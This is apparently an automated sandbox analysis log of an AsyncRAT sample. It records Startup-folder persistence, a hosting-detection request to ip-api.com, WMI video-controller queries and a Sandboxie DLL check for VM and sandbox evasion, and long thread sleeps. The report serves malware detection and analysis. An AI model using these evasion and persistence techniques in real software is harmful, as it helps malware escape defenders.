Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Runtime Broker	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Runtime Broker	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Runtime Broker	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Runtime Broker	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Runtime Broker	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Runtime Broker	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Runtime Broker	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Runtime Broker	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Runtime Broker	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Runtime Broker	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Runtime Broker	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Runtime Broker	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Runtime Broker	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Runtime Broker	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Runtime Broker	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Runtime Broker	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Runtime Broker	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Runtime Broker	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Runtime Broker	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Runtime Broker	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AsyncRAT

Source: Yara match

File source: Process Memory Space: coonfart.exe PID: 4320, type: MEMORYSTR

Check if machine is in data center or colocation facility

Source: global traffic

HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: coonfart.exe, 00000002.00000002.2915078588.0000000002D51000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL
Source: 80BvHOM51j.exe, 00000000.00000003.1740708063.000001EE0BBE1000.00000004.00000020.00020000.00000000.sdmp, 80BvHOM51j.exe, 00000000.00000002.2910321731.000001EE0BC0A000.00000004.00000020.00020000.00000000.sdmp, 80BvHOM51j.exe, 00000000.00000003.1740708063.000001EE0BC02000.00000004.00000020.00020000.00000000.sdmp, coonfart.exe, 00000002.00000000.1739984751.0000000000A02000.00000002.00000001.01000000.00000006.sdmp, coonfart.exe, 00000002.00000002.2922028493.0000000012D61000.00000004.00000800.00020000.00000000.sdmp, Runtime Broker.2.dr, 45b52685-cc32-47e5-abd7-306bfc875622[1].0.dr, coonfart.exe.0.dr	Binary or memory string: SBIEDLL.DLLQKJ381CET1MLBINVL5CVJWVPWKMSL4YN54KLCALZJQKDGOQWU8EFSJOGTRKEDLDH2G2IEACLDB3IUVETCPQSTNAAK4YDJFJSF2HQK0QTBVJN8XTIQH3UV2TFJ4WQV2ABZIAK11GPB164WX013HD2CHECDTZDENWU45ZZQQMZ9NFULLMB7PDYYI1J7CYUBJYQOTMRYHYO5T9OQQFDIRQF7CAVB89CCE2ELJ0GUEVQUV6HZH5RXWCNAFQ9W1WSKKHNVBKVRFRJHXGDQC8V3MUYRTIFUA8BFRAQT2HSWYKU3I56YKM2KMFCGUOH1VRACND3CHRDYAIYQICURH0NQVDXJKMATDADLKZYKTTJ43HM7PFUCVRAVQIXRDDLV8R6YKMY2AEG8FCOTWLAFNLJKCLQX2NLMEQST8LDDKK7WQBRQSXPHB5SHQU6Y0VCGF7ACNPTTKJQNX3PIOVNU4TX01CHU2RBRTBLOEB83OTT7WXU4LYHQ5NVJ5XIOSKWBUPH7KQ5Q13BXCMXLETRPUMHIMKO1QANTPEJM97TH1YQFY8GRPA4ZXPBKIQFUGAIRL6EAZQZGIRTMK3SYZCK86DMIROX4QVIXBSQXEE29L3CJXGINFO

Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Memory allocated: F60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Memory allocated: 1AD50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Memory allocated: C70000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Memory allocated: 1A640000 memory reserve \| memory write watch
Source: C:\Users\Public\Runtime Broker	Memory allocated: 15D0000 memory reserve \| memory write watch
Source: C:\Users\Public\Runtime Broker	Memory allocated: 1B1A0000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 599657	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 599532	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 599397	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 599281	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 599172	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 599049	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 598922	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 598797	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 598679	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 598563	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 598453	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 598344	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 598219	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 598110	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 597985	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 597860	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 597735	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 597610	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 597485	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 597360	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 597235	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 597110	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 596985	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 596860	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 596735	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 596610	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 596485	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 596360	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 596235	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 596110	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 595985	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 595860	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 595735	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 595610	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 595485	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 595360	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 595231	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 595124	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 595016	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 594903	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 594797	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 594688	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 594563	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 594454	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 594329	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\Public\Runtime Broker	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Window / User API: threadDelayed 7698	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Window / User API: threadDelayed 2076	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4629	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5186	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6658	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3083	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5944
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3746
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7891
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1599

Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe TID: 7396	Thread sleep time: -33204139332677172s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe TID: 7396	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe TID: 7396	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe TID: 7396	Thread sleep time: -599766s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe TID: 7396	Thread sleep time: -599657s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe TID: 7396	Thread sleep time: -599532s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe TID: 7396	Thread sleep time: -599397s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe TID: 7396	Thread sleep time: -599281s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe TID: 7396	Thread sleep time: -599172s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe TID: 7396	Thread sleep time: -599049s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe TID: 7396	Thread sleep time: -598922s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe TID: 7396	Thread sleep time: -598797s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe TID: 7396	Thread sleep time: -598679s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe TID: 7396	Thread sleep time: -598563s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe TID: 7396	Thread sleep time: -598453s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe TID: 7396	Thread sleep time: -598344s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe TID: 7396	Thread sleep time: -598219s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe TID: 7396	Thread sleep time: -598110s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe TID: 7396	Thread sleep time: -597985s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe TID: 7396	Thread sleep time: -597860s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe TID: 7396	Thread sleep time: -597735s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe TID: 7396	Thread sleep time: -597610s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe TID: 7396	Thread sleep time: -597485s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe TID: 7396	Thread sleep time: -597360s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe TID: 7396	Thread sleep time: -597235s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe TID: 7396	Thread sleep time: -597110s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe TID: 7396	Thread sleep time: -596985s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe TID: 7396	Thread sleep time: -596860s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe TID: 7396	Thread sleep time: -596735s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe TID: 7396	Thread sleep time: -596610s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe TID: 7396	Thread sleep time: -596485s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe TID: 7396	Thread sleep time: -596360s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe TID: 7396	Thread sleep time: -596235s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe TID: 7396	Thread sleep time: -596110s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe TID: 7396	Thread sleep time: -595985s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe TID: 7396	Thread sleep time: -595860s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe TID: 7396	Thread sleep time: -595735s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe TID: 7396	Thread sleep time: -595610s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe TID: 7396	Thread sleep time: -595485s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe TID: 7396	Thread sleep time: -595360s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe TID: 7396	Thread sleep time: -595231s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe TID: 7396	Thread sleep time: -595124s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe TID: 7396	Thread sleep time: -595016s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe TID: 7396	Thread sleep time: -594903s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe TID: 7396	Thread sleep time: -594797s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe TID: 7396	Thread sleep time: -594688s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe TID: 7396	Thread sleep time: -594563s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe TID: 7396	Thread sleep time: -594454s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe TID: 7396	Thread sleep time: -594329s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7228	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7608	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe TID: 7740	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7896	Thread sleep time: -3689348814741908s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8032	Thread sleep count: 7891 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8032	Thread sleep count: 1599 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8068	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Users\Public\Runtime Broker TID: 7376	Thread sleep time: -922337203685477s >= -30000s
